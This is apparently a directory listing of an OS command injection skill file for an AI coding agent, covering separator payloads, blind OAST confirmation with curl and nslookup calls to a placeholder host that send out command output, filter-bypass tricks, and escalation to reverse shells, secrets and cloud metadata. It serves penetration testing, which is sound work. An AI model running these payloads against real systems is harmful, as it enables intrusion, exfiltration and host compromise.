OS command injection — user input concatenated into a system/shell call. Separator and inline injection, blind time/OAST confirmation, filter/space/quote bypass, and escalation to reverse shell and host compromise. Tier 1. Payloads: payloads/command-exec.md + injection.md. Use for features that invoke system commands (ping/lookup tools, converters, archive/git handlers).
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Command Injection?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-command-injection)
---
name: command-injection
description: "OS command injection — user input concatenated into a system/shell call. Separator and inline injection, blind time/OAST confirmation, filter/space/quote bypass, and escalation to reverse shell and host compromise. Tier 1. Payloads: payloads/command-exec.md + injection.md. Use for features that invoke system commands (ping/lookup tools, converters, archive/git handlers)."
---
# OS Command Injection
Input reaches a shell. Break out with a separator, confirm (visible or OOB), evade filters, escalate.
## Trigger phrases
`command injection, os command injection, rce, shell injection, blind command injection`
## Method
1. **Separators/inline:** `; id` `| id` `|| id` `& id` `&& id` `%0a id` ``id`` `$(id)` — in values, filenames, and headers (INJECTION-POINTS.md).
2. **Blind:** time (`; sleep 10`) then **OAST** (`; nslookup $(whoami).oob.example`, `; curl http://oob.example/$(id|base64)`) — confirm via callback before concluding negative.
3. **Bypass** (${CLAUDE_PLUGIN_ROOT}/payloads/command-exec.md + waf-bypass.md): `${IFS}`/`<`/brace-expansion for spaces, quote-insertion (`w'h'o'ami`), base64-decode-exec, globbing, Windows `^`/`"` tricks, `powershell -enc`.
4. **Escalate:** OS/arch-matched reverse shell, read secrets/config, cloud metadata, stabilize shell — honor Tier gate for intrusive steps on production.
## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP / HexStrike / Metasploit-MCP) or headless browser for client-side; Windows-local last resort. If a Burp MCP is present, route requests through Burp proxy for visibility and send manual PoCs to Repeater (see `zazy-orchestrator`).
## Verification (background, before reporting)
Re-confirm independently (second payload/tool/vantage or OAST callback) and reproduce before marking CONFIRMED. For blind cases use OAST (Collaborator/interactsh) before concluding negative. Report true positives only.
## Evidence
The injected command, output or OAST callback, the bypass used, and remediation.